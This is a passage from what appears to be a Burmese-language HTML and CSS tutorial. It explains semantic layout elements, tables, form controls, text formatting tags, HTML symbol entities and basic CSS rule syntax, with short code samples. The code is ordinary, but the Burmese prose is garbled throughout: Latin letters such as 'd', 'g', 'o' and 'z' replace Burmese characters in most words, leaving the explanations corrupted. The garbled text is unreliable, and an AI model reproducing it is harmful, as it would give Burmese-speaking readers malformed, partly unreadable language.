HTML  Document  dတွကိုအသံုးgပုပြပီး  ဝz်ဆိုက်dတွ  တည်dဆာက်တဲ့အခါ  Logo  dတွ  dခါင်းစီးdတွ၊
Hotline  နံပါတ်လုိ  ဆက်သွယ်ရမယ့်  အချက်အလက်dတွ၊  dဆာင်ပုဒ်လို  အရာdတွကို  ဟိုးအdပါ်မှာ
Document  Header  အdနနဲ့  ထည့်eကတာ  ထံုးစံပါပဲ။  အ့ဲဒီလုိသdzာမျ ို းနဲ့  အသံုးgပုoို့လုိအပ်ရင်
<header> Element  ကိုသုံးနိုင်ပါတယ်။ သူနဲ့  dgပာင်းgပန်က  <footer> Element  goစ်ပါတယ်။ ဟိုး
dအာက်ဆုံးမှာ ထားeကdလ့ရှိပြပီး  Copyright  တို့  Privacy Policy  တို့လုိ အdeကာင်းအရာdတွ ထည့်သွင်း
doာ်gပeကdလ့ရှိပါတယ်။

နမူနာပံုရဲ့  dzးတစ်zကတ်စ်ချက်မှာ  <nav> နဲ့  <aside> တို့ကို  dပးထားပါတယ်။  နမူနာပါ။
လက်dတွ့မှာ <nav> တို့ <aside> တို့ဆိုတာ အ့ဲဒီလုိ dzးမှာထားရတယ်ဆိုတဲ့သdzာ ပံုdသမဟုတ်ပါ
zူး။ ကိုယ်ကြကိုက်တဲ့ dနရာမှာထားပါ။ သ့ူအဓိပ္ပါယ်ကို သိoို့ပဲလုိပါတယ်။ <nav> ကိုdတာ့  ဝz်ဆိုက် မှာ
ပါဝင်တဲ့  စာမျက်နှာdတွ  အgပန်အလှန်သွားလ့ုိရတဲ့  Navigation  Link  dတွ  စုစည်းထည့်သွင်းo့ုိ  သံုးရပါ
တယ်။ <aside> ကိုdတာ့ ပင်မ Content နဲ့ ဆက်စပ်dနတဲ့ Relevant Content dတွ စုစည်းထည့်သွင်းoုိ့
သံုးရပါတယ်။

<section> ဆိုတာ  Document  အတွင်းမှာရှတိဲ့  သီးgခားခွဲထုတ်လုိတဲ့  အစိတ်အပုိင်းလ့ုိ ဆိုနိုင်ပါတယ်။
သ့ူမှာ သူ့ကိုယ်ပုိင်  <header> dတွ  <footer> dတွ ရိှလ့ုိရပါတယ်။  <article> ကdတာ့ စာdတွ
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ထည့်သွင်းo့ုိပါ။  <p> Element ကို စာပုိဒ်dတွထည့်oို့လ့ုိ dgပာထားပါတယ်။  <article> ကိုdတာ့ အ့ဲဒီ
<p> Element  dတွနဲ့  ထည့်ထားတဲ့  စာပုိဒ်dတွ  dခါင်းစီးdတွ၊  dခါင်းစီးအခွဲdတွ  စုစည်းo့ုိ  Element  လ့ုိ
သdzာထားနိုင်ပါတယ်။

နမူနာ Layout ပံုမှာ မပါdပမယ့် dနာက်ထပ်အသံုးများတဲ့ Element နှစ်ခု ရိှပါdသးတယ်။ <hgroup> နဲ့
<main> ပါ။ <hgroup> ကို dခါင်းစီးdတွ တစ်ခုထက်ပုိတဲ့အခါ စုစည်းoုိ့သံုးနိုင်ပါတယ်။ ဥပမာ -

 HTML 
<hgroup>
    <h1>Maing Heading</h1>
    <h3>Minor Heading</h3>
    <h2>Secondary Heading</h2>
</hgroup>

<main> Element ကိုdတာ့ အဓိကကျတဲ့ Content အားလံုးကို စုစည်းo့ုိ အသံုးgပုနိုင်ပါတယ်။ နမူနာပံုမှာ
ပါတဲ့  <section> သdzာမျ ို းပါပဲ။  ကွာသွားတာက  <section> က  သီးgခား  ရပ်တည်နိုင်တဲ့
အစိတ်အပုိင်းတစ်ခုသdzာမျ ို းgoစ်ပြပီး <main> ကdတာ့ လက်ရှိ Document ရဲ့ အဓိကအစိတ်အပုိင်း ဆို
တဲ့ သdzာမျ ို းပါ။

ဒီ  Element dတွကို သံုးလုိက်ယံုနဲ့ နမူနာပံုမှာgပထားသလုိ Layout အသွင်အgပင် ရသွားမှာ မဟုတ်zူးဆို
တာကို  တစ်ခါထဲ မှတ်o့ုိ  လုိပါလိမ့်မယ်။  HTML  ဆိုတာ  Content  ကို  စုစည်းo့ုိသာ goစ်ပါတယ်။ အdgခခံ
အားgoင့် အသွင်အgပင်ဆိုတာ သူနဲ့တိုက်ရိုက်မဆိုင်ပါzူး။ zယ် Content က zာဆိုတာကို သတ်မှတ်dပး
ယံုသာ သတ်မှတ်dပးတဲ့ သdzာပါ။ လုိချင်တဲ့  Layout အသွင်အgပင်အတွက်ကdတာ့ ကိုယ့်zာသာ CSS
လုိ Style Language dတွနဲ့ သတ်မှတ်dပးရမှာပါ။ ဒီစာအုပ်မှာ အဓိကdလ့လာချင်တဲ့ Bootstrap လုိ နည်း
ပညာမျ ို းနဲ့လည်း သတ်မှတ်dပးနိုင်ပါတယ်။ dနာက်ပုိင်းမှာ ဆက်လက်doာ်gပပါမယ်။

Table Elements
Table  ဟာလည်းပဲ  Content  dတွdoာ်gပo့ုိအတွက်  အdရးပါတဲ့  Element  တစ်ခုပါပဲ။  တစ်ချ ို ့  Table
ဇယားနဲ့gပရမယ့်  အချက်အလက်dတွဆိုတာ  ရိှလာမှာပါပဲ။  Table  တစ်ခုသတ်မှတ်o့ုိအတွက်  လုိအပ်တဲ့
Element (၄)  မျ ို း  ရှိပါတယ်။  <table>, <tr>, <th> နဲ့  <td> တို့goစ်ပါတယ်။  <tr> ဆိုတာ
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Table Row ဆိုတဲ့ အဓိပ္ပါယ်goစ်ပြပီး ကိုယ်သတ်မှတ်လုိတဲ့ Table မှာ Row (၃) ခရုှိရင် <tr> အoွင့်အပိတ်
(၃) စုရံှိရမှာပါ။ <th> နဲ့  <td> က သdzာသzာဝဆင်ပါတယ်။ Table Row တစ်ခုအတွင်းထဲမှာ Data
Column  zယ်နှစ်ခုရှိသလဲဆိုတာကို  <th> တို့  <td> တို့နဲ့  သတ်မှတ်dပးရတာပါ။  <th> က Table
Heading  goစ်ပြပီး <td> က Table Data goစ်ပါတယ်။ dရးသားပံုက ဒီလုိပါ -

 HTML 
<table>

<tr>
<th>ID</th>
<th>Name</th>
<th>Age</th>

</tr>
<tr>

<td>1</td>
<td>Alice</td>
<td>22</td>

</tr>
<tr>

<td>2</td>
<td>Bob</td>
<td>23</td>

</tr>
</table>

ဒီကုဒ်ကိုမစမ်းခင် oတ်eကည့်လုိက်ရင်ပဲ သdzာသzာဝ dပါ်လွင်ပါတယ်။  Table  တစ်ခရုှိပြပီး  Row သံုးခု
ရိှပါလိမ့်မယ်။ Row တစ်ခုချင်းစီမှာ Data Column (၃) ခုစီရှိပြပီး၊ အdပါ်ဆုံး  Row ထဲက Column dတွက
Heading Column dတွ goစ်ပါတယ်။ စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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ပံုထဲကနမူနာမှာ border နဲ့  width Attribute dတွ ထည့်ထားတာကို သတိgပုပါ။ မgoစ်မdနလုိအပ်လုိ့
မဟုတ်ပါzူး။  အ့ဲဒါdလးdတွပါမှ  ရလဒ်က  eကည့်ရတာ  အဆင်dgပမှာမုိ့လ့ုိသာ  ထည့်ထားတာပါ။  ကိုယ့်
zာသာ တန်oုိးdတွdgပာင်းပြပီး စမ်းeကည့်လ့ုိ ရပါတယ်။

ပုိပြပီးdတာ့ gပည့်စုံချင်ရင်  <thead>, <tbody> နဲ့  <tfoot> လုိ  Element  dတွကို  သံုးနိုင်ပါတယ်။
တစ်ချ ို ့  dပါင်းပြပီးgပoုိ့  လုိတဲ့  Column  dတွအတွက်  colspan Attribute  ကိုသုံးနိုင်ပါတယ်။  တစ်ချ ို ့
dပါင်းပြပီးgပo့ုိ လုိတဲ့ Row dတွအတွက်dတာ့ rowspan Attribute ကို သံုးနိုင်ပါတယ်။ align Attribute
ကိုသံုးပြပီးdတာ့  Column  တစ်ခုချင်းစီမှာပါတဲ့  Content  dတွကို  zယ်ညာ၊  အလယ် စီထားလို့လည်းရပါ
တယ်။ ဒါdတွအစုံပါတဲ့ နမူနာdလးတစ်ခုdပးပါမယ်။

 HTML 
<table>

<thead>
<tr>

<th>ID</th>
<th>Name</th>
<th>Age</th>

</tr>
</thead>
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<tbody>
<tr>

<td>1</td>
<td>Alice</td>
<td>22</td>

</tr>
<tr>

<td>2</td>
<td>Bob</td>
<td>23</td>

</tr>
</tbody>
<tfoot>

<tr>
<th colspan="2" align="right">Total</th>
<td>2</td>

</tr>
</tfoot>

</table>

<thead>, <tbody>, <tfoot> dတွကိုသံုးကို  Row dတွကို စုစည်းdပးလုိက်တာပါ။ ဒီလုိစုစည်း
dပးလုိက်လ့ုိ  Table ရဲ့အသွင်အgပင်doာ်gပပုံdတာ့ မdgပာင်းပါzူး။ အချက်အလက်dတွ စုစုစည်းစည်း goစ်
သွားgခင်းသာ goစ်ပါတယ်။ အသွင်အgပင်dgပာင်းမှာက dအာက်ဆုံး Row မှာပါတဲ့ <th> ပါ။ colspan=2
လ့ုိ dgပာထားတဲ့အတွက် သူက  Column  နှစ်ခုစာ dနရာယူမှာပါ။ ဒါdeကာင့်လည်း dအာက်ဆုံး  Row  မှာ
Column (၃)  ခုမရှိzဲ  (၂)  ခုပဲ  ရိှdနတာပါ။  Column  တစ်ခုက သူတစ်ခုထဲ နှစ်ခုစာdနရာယူမှာ မ့ုိလ့ုိပါ။
ရလဒ်က ဒီလုိgoစ်ပါလိမ့်မယ်။
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Row dတွdပါင်းတဲ့  rowspan dတာ့ နမူနာdပးတဲ့အထဲ မပါပါzူး။ လုိအပ်ချက်နည်းပါတယ်။ မgoစ်မdန
လုိအပ်လာdတာ့မှာသာ ဆက်dလ့လာeကည့်လုိက်ပါ။

Form Elements
ရိုးရိုးစာရွက်dတွမှာ လက်dရးနဲ့ dရးgoည့်လ့ုိရတဲ့ doာင်dတရွှိသလုိပဲ  HTML မှာလည်း  User က dရးgoည့်
လ့ုိရတဲ့၊ dရွးလ့ုိရတဲ့ doာင်dတွ ရှိပါတယ်။ ဒီdoာင်dတွကို အားကိုးပြပီး  Web Application dတွထိ oန်တီး
eကရတာဆိုdတာ့ ကျယ်gပန့်ပါတယ်။ အသံုးများတဲ့ doာင်  Element dတွကို dရွးထုတ်dလ့လာeကပါမယ်။
ဒီ Element (၅) မျ ို းကို dလ့လာရမှာပါ။

• <label>
• <input>
• <textarea>
• <select>
• <button> 

<input> Element  ဟာ  Empty  Element  goစ်ပြပီးdတာ့  type Attribute  မgoစ်မdန  ပါရပါတယ်။
text, password, radio, checkbox, email, url, date, submit, reset စ
သgoင့်  Value  dတွအများကြကီးရှိပါတယ်။  အ့ဲဒီထဲက  လက်ရှိ  အဆင့်မှာ  dရးွချယ်မှတ်သားသင့်တာက
text, password နဲ့ submit goစ်ပါတယ်။
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<input> တို့ <textarea> တို့ <select> တို့ကို <label> နဲ့ တွဲသံုးdလ့ ရိှပါတယ်။ ဒီလုိပါ -

 HTML 
<label for="name">Your Name</label>
<input type="text" id="name"> <br>
<label for="pwd">Password</label>
<input type="password" id="pwd"> <br>
<input type="submit" value="Login">

<label> dတွမှာ  for Attribute  ပါပြပီး  <input> dတရွဲ့  id နဲ့တူdအာင်dပးရတာကို  သတိgပု
eကည့်ပါ။ ဒီနည်းနဲ့ <label> နဲ့ <input> ကို တွဲရgခင်းgoစ်ပါတယ်။ နမူနာ <input> သံုးခုမှာ type
dတွမတူeကပါzူး။ text ကdတာ့ စာdတွရိုက်ထည့်လို့ရတဲ့ Input goစ်ပြပီး password ကလည်း စာdတွ
ရိုက်ထည့်လ့ုိရတဲ့  Input ပါပဲ။ ကွာသွားတာကdတာ့ password Input မှာ ရိုက်ထည့်လုိက်တဲ့စာdတွကို
doျာက်ထားdပးမှာပါ။  submit ကdတာ့  နှိပ်လ့ုိရတဲ့  ခလုပ်တစ်ခုgoစ်ပါတယ်။  eကားထဲမှာပါတဲ့  <br>
Element ကdတာ့ Line Break ဆိုတဲ့အဓိပ္ပါယ်ပါ။ dနာက်တစ်လုိင်းကို ဆင်းdပးပါတယ်။

eကားgoတ်ပြပီးမှတ်dပးပါ။ HTML Code ထဲမှာ Enter dတွ dခါက်ပြပီးလုိင်းdတွ ခွဲချင်သdလာက်ခွဲ၊ Tab dတွ
နှိပ်ပြပီး စdပ့dတွ ထည့်ချင်သdလာက်ထည့်၊ အ့ဲဒါdတွကို ထည့်ပြပီး အလုပ်မလုပ်ပါzူး။ ကိုယ့်zက်က အခု
လုိ တစ်လုိင်းဆင်းdစချင်ရင် ဆင်းdစချင်တဲ့အdeကာင်း <br> Element နဲ့dgပာdပးမှပဲ ဆင်းပါတယ်။

လက်dတွ့မှာ ဒီ  Input dတွအားလံုးကို  <form> Element တစ်ခုနဲ့  စုoဲွ့ထားရတဲ့ ထံုးစံရှိပါတယ်။ ရလဒ်
က ဒီလုိgoစ်မှာပါ။
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submit Input  အတွက်  value Attribute  သံုးထားတာကိုလည်း သတိgပုပါ။  value မှာdပးထားတဲ့
တန်oုိးကို ခလုပ်dပါ်ကစာအdနနဲ့ လာgပတာကို dတွ့ရနိုင်ပါတယ်။ လက်dတွ့မှာ value နဲ့အတူ တgခား
အdရးကြကီးတဲ့  placeholder, readonly, checked, required စတဲ့  Attribute  dတွ ရှိပါ
dသးတယ်။ အ့ဲဒါdတွကိုdတာ့ လက်dတွ့အသံုးချ  Web Application  dတွdလ့လာတဲ့ အဆင့်dရာက်ပြပီဆို
dတာ့မှပဲ ဆက်dလ့လာပါ။ အခုကdတာ့ doာင်တစ်ခုအdနနဲ့ dရးgoည့်လ့ုိရတဲ့ အဆင့်ထိပဲ dလ့လာရမှာပါ။
dရးgoည့်လိုက်တဲ့တန်oုိးdတွကို  သံုးပြပီးတစ်ကယ်အလုပ်လုပ်o့ုိကdတာ့  PHP  တို့zာတို့လုိ  Server-side
နည်းပညာdတွနဲ့  ပူးတွဲdလ့လာeကရဦးမှာပါ။  ဒါdeကာင့်  အခုထည့်သွင်းတဲ့doာင်dတွဟာ  doာ်gပယံု
သက်သက် goစ်တယ်လ့ုိ နားလည်ပါ။ လက်dတွ့အလုပ်လုပ်တဲ့ doာင်dတွdတာ့ မဟုတ်dသးပါzူး။

<textarea> ဟာ အoွင့်အပိတ်အgပည့်အစုံပါတဲ့  Element goစ်ပါတယ်။ text Input dတဟွာ စာတစ်
deကာင်းပဲ dရးgoည့်o့ုိ သင့်dတာ်ပြပီး၊ စာများများ dရးgoည့်o့ုိ လုိအပ်ရင် <textarea> ကို သံုးရမှာ goစ်ပါ
တယ်။ <select> ကိုdတာ့ dရးွလို့ရတဲ့ List တစ်ခုထည့်သွင်းလုိတဲ့အခါ သုံးပါတယ်။ dရွးရမယ့် Option
dတွကို <option> Element သံုးပြပီး သတ်မှတ်ရပါတယ်။ <ul> <li> dရးပံုနဲ့ တူပါတယ်။ <ul> ထဲ
မှာ <li> dတွ ရှိသလုိပဲ <select> ထဲမှာ <option> dတွ ရှရိမှာပါ။

<button> ကdတာ့  submit Input နဲ့ အတူတူပါပဲ။ ကွာသွားတာက အoွင့်အပိတ် အgပည့်အစုံနဲ့ dရး
dပးရgခင်း goစ်ပါတယ်။ သူ့မှာလည်း type Attribute ပါရပါတယ်။ ဒါdတွအားလံုး အgပည့်အစုံပါတဲ့ နမူနာ
တစ်ခု dရးdပးပါမယ်။
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 HTML 
<form>

<label for="name">Your Name</label> <br>
<input type="text" id="name"> <br>
<label for="gender">Your Gender</label> <br>
<select id="gender">

<option>Male</option>
<option>Female</option>

</select> <br>
  

<label for="address">Your Address</label> <br>
<textarea id="address"></textarea> <br>
<button type="submit">Send</button>

</form> 

<button> မှာ  type က မထည့်လည်း ရdတာရ့ပါတယ်။ အလားတူပါပဲ  <label> dတွမှာ  for မ
ထည့်လည်း zာမှdတာ့  မgoစ်ပါzူး။  Input  dတွမှာလည်း  id မပါမgoစ်  မဟုတ်ပါzူး။  dနာက်ဆုံးဆင့်
<label> Element ကို လံုးဝမသံုးလဲ စာdတွဒီအတိုင်း ချdရးလည်း ရတာပါပဲ။ ဒါdပမယ့် သတ်မှတ်ထား
တဲ့အတိုင်း စုံdအာင်dရးdတာ့ ပုိစနစ်ကျသွားတာdပါ့။ ရလဒ်က ဒီလုိgoစ်မှာပါ -

ဒီdလာက်ဆိုရင်  အdgခခံ  Form  Element  dတွ  ရသွားပါပြပီ။  ဒီထက်နည်းနည်းပုိ  အဆင့်gမင့်တဲ့  တစ်ချ ို ့
Element dတွကျန်dသးတယ်ဆိုတာကိုdတာ့ သတိgပုdပးပါ။
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Formatting Elements
စာလံုးdတွရဲ့  doာ်gပပံုအသွင်အgပင်ဟာ တစ်ကယ်တမ်းdတာ့  HTML  ရဲ့အလုပ် မဟုတ်ပါzူး။  HTML  ရဲ့
တာဝန်က  Content  Structure  တည်dဆာက်o့ုိပါပဲ။  ဒါdပမယ့်  HTML  မှာ  လုိအပ်ရင်  အသံုးgပုနိုင်oို့
အတွက်  စာလံုးအသွင်အgပင်dတွ  Format  dgပာင်းdပးနိုင်တဲ့  Element  dတရွှိပါတယ်။  မှတ်သားသင့်တဲ့
Element စာရင်းကို ထည့်dgပာချင်ပါတယ်။

<b>,  <strong> -  စာလံုးdတွကို  Bold  လုပ်ပြပီးdoာ်gပdစချင်ရင်  <b> သ့ုိမဟုတ်  <strong>
Element ကို အသံုးgပုနိုင်ပါတယ်။

<i>, <em> -  စာလံုးdတွကို  Italic  ပံုစံ  စာလံုးdစာင်းနဲ့  doာ်gပdစချင်ရင်  <i> သ့ုိမဟုတ်  <em>
Element ကို အသံုးgပုနိုင်ပါတယ်။

<s>, <del> -  စာလံုးdတွကို  ကန့်လတ်goတ်လုိင်းနဲ့  oျက်ပြပီးgပချင်တယ်ဆိုရင်  (ဥပမာ  -  oျက်ထား
သည့်စာ) <s> သ့ုိမဟုတ် <del> ကိုသုံးနိုင်ပါတယ်။ Underline တာo့ုိအတွက် <u> Element ရိှdပမယ့်
မသံုးသင့်တဲ့ Element အdနနဲ့ ပယ်ထားeကပါတယ်။

<code>, <pre> -  ကုဒ်နမူနာdတွကို  HTML  ထဲမှာ  ထည့်dရးgပချင်တဲ့အခါ၊  တစ်deကာင်းထဲဆိုရင်
<code> Element  ကို  သံုးနိုင်ပါတယ်။  ကုဒ်dတွတစ်deကာင်းထက်ပုိပြပီး  များတယ်ဆိုရင်  <pre>
Element  ကိုသံုးပြပီး  gပနိုင်ပါတယ်။  ကုဒ်dတွgပတဲ့အခါမှာ  သံုးရတဲ့  Monospace  oွန့်dတွသံုးပြပီး  gပdပးပါ
တယ်။  <pre> မှာ dနာက်ထပ်ထူးgခားချက် ရိှပါdသးတယ်။  HTML ရဲ့တgခားdနရာမှာ  Space  dတွ  Tab
dတွ  Enter  dတွ ထည့်ချင်သdလာက်ထည့် အလုပ်မလုပ်ပါzူး။  <pre> ထဲမှာdရးထားတဲ့  Content  မှာ
dတာ့ Space dတွ Tab dတွ Enter dတွပါရင်၊ ပါတဲ့အတိုင်း အကုန်အလုပ်လုပ်dပးပါတယ်။

<sup>, <sub> - Superscript နဲ့  Subscript တို့အတွက်ပါ။ 4th ရဲ့ အdပါ်နည်းနည်းတင်gပတဲ့  th ကို
Superscript လ့ုိdခါ်ပြပီး HTML မှာ <sup> Element ကိုသံုးနိုင်ပါတယ်။ H2O ရဲ့ dအာက်နည်းနည်းချgပတဲ့
2 ကို Subscript လ့ုိdခါ်ပါတယ်။ HTML မှာ <sub> Element ကို သံုးနိုင်ပါတယ်။
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<blockquote> - dဆာင်ပုဒ်dတွ၊ ဆိုရိုးစကားdတွ၊ အကိုးအကားdတွကို Quote လုပ်ပြပီးgပချင်တယ်ဆို
ရင်  <blockquote> Element  ကိုသုံးနိုင်ပါတယ်။ zယ်လုိပံုစံdoာ်gပသလဲဆိုတာ စာနဲ့dgပာရင်  ရှုပ်ပါ
တယ်။ Codepen မှာသာ လက်dတွ့ ထည့်dရးပြပီး စမ်းeကည့်လုိက်ပါ။

<address>, <time> -  လိပ်စာdတွကို <address> Element နဲ့doာ်gပနိုင်ပြပီး ရက်စွဲနဲ့ အချနိ်dတွ
ကိုdတာ့  <time> Element  နဲ့gပနိုင်ပါတယ်။  ဒါdတွက  ဒီdနရာမှာ  ထည့်dgပာdပမယ့်  အသွင်အgပင်
dgပာင်းdပးတဲ့  Formatting Element  dတွdတာ့ မဟုတ်ပါzူး။ အသံုးဝင်တဲ့  Element  dတွအdနနဲ့ ကျန်
dနလ့ုိ တစ်ခါထဲ ထည့်dgပာလုိက်တာပါ။ 

<!-- Comment --> -  ဒါကdတာ့  Comment Element  goစ်ပါတယ်။  HTML  ထဲမှာ ကိုယ့်zာသာ
dရးမှတ်ချင်တာdတွရှရိင်  ဒီ  Element  နဲ့  dရးမှတ်နိုင်ပါတယ်။ အလုပ်လုပ်တဲ့အခါ ဒီ  Comment  dတွကို
ထည့်သွင်း အလုပ်လုပ်မှာ မဟုတ်ပါzူး။

HTML Symbols
HTML  မှာ  Copyright  တို့  Trademark  တို့လ့ုိ  သdက[တdတွအပါအဝင်  အgခားသdက[တdတွကိုလည်း
ထည့်သွင်းအသံုးgပုလ့ုိ ရပါတယ်။ ဥပမာ - ဒီလိုပါ။

 HTML 
<p>Copyright &copy; Fairway Technology &trade;</p>

နမူနာမှာ  Symbol  နှစ်ခုပါပါတယ်။  &copy; နဲ့  &trade; တို့ပါ။  Symbol  dတွကိုdရးတဲ့အခါ
Ampersand (&) နဲ့စပြပီး Semi-colon (;) နဲ့အဆုံးသတ် dပးရdလ့ရှိပါတယ်။ ရလဒ်က ဒီလိုgoစ်မှာပါ။ 

Copyright © Fairway Technology ™

တgခား အလားတူ အသံုးဝင်နိုင်တဲ့ Symbol dတွကို ထည့်သွင်းdoာ်gပdပးလုိက်ပါတယ်။
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• &copy; - ©
• &trade; - ™
• &reg; - ®
• &euro; - €
• &larr; - ←
• &uarr; - ↑
• &rarr; - →
• &darr; - ↓
• &crarr; - ↵
• &lArr; - ⇐
• &rArr; - ⇒
• &laquo; - «
• &raquo; - »
• &nbsp; - [space]

&nbsp; က dနရာလွတ်တစ်လံုးစာ Space ကိုထည့်သွင်းdပးတာပါ။ အရင်ကdတာ့ သdက[တdတွ ထည့်
ချင်ရင် ဒီနည်းကိုပဲ သံုးရပါတယ်။ အခုdတာ့ ယူနီကုဒ်ရဲ့အကူအညီနဲ့ Emoji dတွကို ပံုစံစုံနဲ့ ထည့်လ့ုိရလာ
ပါပြပီ။ ဒီနည်းအတိုင်း dနရာတိုင်းမှာ dရးထည့်စရာ မလိုdတာ့ပါzူး။ ကိုယ်ထည့်ချင်တဲ့ သdက[တပံုကို ကီး
zတု် dဆာ့o်ဝဲdတွနဲ့အတူတွဲပါတဲ့ Emoji Browser ကdန dရးွပြပီးထည့်လုိက်ယံုပါပဲ။ ဒီလုိထည့်လ့ုိရdနdပ
မယ့် HTML Symbol dတွကိdုတာ့ ကင်းလ့ုိdတာ့ မရနိုင်dသးပါzူး။ သ့ူdနရာနဲ့သူ အသုံးဝင်dနဆဲပါပဲ။

အခုဆိုရင် HTML အdeကာင်း dတာ်dတာ်dလးစုံသdလာက်goစ်သွားပါပြပီ။ HTML ရဲ့ အဓိကတာဝန်ကို မdမ့
dစချင်ပါzူး။  ကွန်ပျူတာစနစ်dတွက  နားလည်တဲ့  Content  Structure  ကိုတည်dဆာက်gခင်း  goစ်ပါ
တယ်။  အ့ဲဒီ  Content  dတရွဲ့  doာ်gပပုံအသွင်အgပင်သတ်မှတ်gခင်းဟာ  HTML  ရဲ့တာဝန်မဟုတ်ပါzူး။
dနာက်တစ်ခန်းမှာဆက်လက်doာ်gပမယ့် CSS ရဲ့ တာဝန်ပဲgoစ်ပါတယ်။
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အခန်း (၂) - CSS

HTML ဟာ Markup Language goစ်ပြပီး CSS ကdတာ့ Style Language goစ်ပါတယ်။ HTML ကိုအသံုးgပု
စုစည်းထားတဲ့  Content  dတရွဲ့  အရွယ်အစား၊  အdရာင်၊  အကွာအdဝး စသgoင့်  doာ်gပပုံအသွင်အgပင်ကို
CSS နဲ့ သတ်မှတ်dပးရမှာ goစ်ပါတယ်။ CSS ရဲ့ အဓိပ္ပါယ်အရှည်က Cascading StyleSheet goစ်ပါတယ်။
Cascading  ဆိုတာ  တစ်ခုထက်ပုိတဲ့  Style  သတ်မှတ်ချက်dတွကို  dရာစပ်  အသုံးgပုနိုင်တဲ့သdzာလ့ုိ
အလွယ်မှတ်နိုင်ပါတယ်။ ဒီလုိdရာစပ်သံုးတဲ့အခါ အလုပ်လုပ်ပုံကို ခဏနေdနdတာ့ ဆက်dလ့လာeကပါမယ်။

အရင်တုံးကdတာ့ Web Document dတွတည်dဆာက်o့ုိ Markup Language dတွ အမျ ို းမျ ို းရှိလာမယ်လုိ့
တီထွင်သူdတွက dမျှာ်မှန်းခဲ့eကပံု  ရပါတယ်။  XHTML  လုိနည်းပညာdတွ  ရိှခဲ့oူးdပမယ့်လည်း  အခုdတာ့
HTML  တစ်မျ ို းတည်းကိုသာ သုံးeကပါdတာ့တယ်။ အလားတူပဲ  Style Language  dတွလည်း အမျ ို းမျ ို းရှိ
လိမ့်မယ်လုိ့ dမျှာ်မှန်းထားခဲ့eကမယ် ထင်ပါတယ်။  XSLT  လုိနည်းပညာdတွ ရိှခဲ့oူးdပမယ့် အခုdတာ့  CSS
တစ်မျ ို းတည်းကိုသာ  သံုးeကပါdတာ့တယ်။  Script  Language  dတွလည်း  အမျ ို းမျ ို းရှိလာလိမ့်မယ်လ့ုိ
dမျှာ်မှန်းထားeကပါလိမ့်မယ်။  VBScript  လုိနည်းပညာdတွ ရိှခဲ့oူးdပမယ့် အခုdတာ့  JavaScript  တစ်မျ ို း
တည်းကိုသာ သံုးeကပါdတာ့တယ်။ ဒါdeကာင့် HTML, CSS, JavaScript တို့ဟာ မူကွဲအမျ ို းမျ ို းရှိပြပီး အမျ ို း
မျ ို းနဲ့  အgပန်အလှန်တွဲoက်သံုးလ့ုိရdစမယ့် ပံုစံမျ ို းdတွနဲ့  ရည်ရွယ်oန်တီးခဲ့eကdပမယ့်  လက်dတွ့မှာ  မူကွဲ
dတွမရှိeကdတာ့ပဲ   Web Document   တည်dဆာက်o့ုိဆိုရင်   HTML, CSS   နဲ့   JavaScript   ကိုသာ အသံုးgပုရ  
တယ် ဆိုတဲ့ အdgခအdနကို dရာကရ်ှိdနgခင်းပဲ goစ်ပါတယ်။

မူကွဲdတွနှစ်မျ ို းသံုးမျ ို း ရှိမယ့်အစား၊  Pre-processor  တို့  Superset  တို့လုိ အသုံးအနှုန်းdတွနဲ့ တစ်ဆင့်ခံ
နည်းပညာdတွ ထွက်dပါ်လာခဲ့ပါတယ်။ CSS မှာဆိုရင် LESS တို့ SASS တို့လုိ Pre-processor နည်းပညာ
dတွ ရှိပါတယ်။ မူလ CSS မှာ မပါတဲ့ dရးနည်းdရးဟန်dတွ၊ လုပ်dဆာင်ချက်dတွကို dပါင်းထည့်dပးထား
တာပါ။ ဒါdပမယ့် dရးပြပီးရင် အ့ဲဒီ LESS တို့ SASS တို့လုိ ကုဒ်dတွကို CSS ကုဒ် goစ်dအာင် gပန်dgပာင်းပြပီးမှ
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ပဲ  သံုးလ့ုိရပါတယ်။  JavaScript  မှာဆိုရင်လည်း  CoffeeScript  တို့  TypeScript  တို့လုိ  တစ်ဆင့်ခံ  နည်း
ပညာdတွ ရှိdနပါတယ်။ ဒီနည်းပညာdတွလည်းပဲ dရးပြပီးရင် JavaScript ကုဒ်goစ်dအာင် gပန်dgပာင်းပြပီးမှ
ပဲ သံုးeကရပါတယ်။ ဒါက ဗဟုသုတအdနနဲ့ ထည့်မှတ်oို့ပါ။

CSS Syntax
CSS ကုဒ်dတွရဲ့ oဲွ့စည်းပုံကို အရင်ဆုံးစeကည့်eကပါမယ်။ ဒီလုိပါ။

Selector
   |
  _|_
 |   |
 
  div {                      _
   background: yellow;   |
   color: brown;        _|----- Rules
  }     
          |_______|  |______|                  
              |          |
              |          |
          Property     Value

နမူနာအရ <div> Element dတွအားလံုးကို dနာက်ခံ အဝါdရာင်နဲ့ စာလံုးနီညိုdရာင် သံုးပြပီးdoာ်gပရမယ်
လ့ုိ သတ်မှတ်လုိက်တာပါ။ Selector goစ်တဲ့  div ရဲ့ dနာက်မှာ တွန့်ကွင်းအoွင့်အပိတ်နဲ့ သတ်မှတ်လုိတဲ့
Rule dတွကို တန်းစီပြပီး dရးdပးရတာပါ။  Rule တစ်ခုနဲ့ တစ်ခုကို  Semi-colon (;) နဲ့ ပုိင်းgခားdပးရပါ
တယ်။ တစ်deကာင်းထဲပဲdရာdရးdရး၊ နမူနာမှာလုိ  Rule  တစ်ခုကို တစ်deကာင်းနှုန်းနဲ့ပဲ ခွဲdရးdရး ကြကိုက်
သလုိdရးလ့ုိရပါတယ်။ အလုပ်လုပ်ပါတယ်။ ဒါdပမယ့် ခွဲdရးမှ  oတ်ရှုgပင်ဆင်ရ လွယ်ကူအဆင်dgပမှာပါ။
Rule  တစ်ခုချင်းစီမှာ  Property  နဲ့  Value  dတွပါဝင်ပြပီး  Full-colon  (:) နဲ့  ပုိင်းgခားdပးရပါတယ်။ dရး
နည်းက  ဒီတစ်နည်းထဲပါပဲ။  နှစ်နည်းမရှိပါzူး။  ဒီdရးနည်းမှာပါဝင်တဲ့  Selector  dတွ  Property  dတွ
Value dတွကိုသာ ဆက်လက်dလ့လာeကရမှာပါ။
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HTML & CSS
HTML Document  တစ်ခုအတွက်  CSS Style  dတွကို  ပံုစံ  (၃)  မျ ို းနဲ့  dရးသား ထည့်သွင်းလို့ရပါတယ်။
ပထမတစ်နည်းကdတာ့  CSS  ကုဒ်dတွကို  သီးgခားoုိင်တစ်ခုနဲ့  dရးသားပြပီး  HTML Document  ထဲကdန
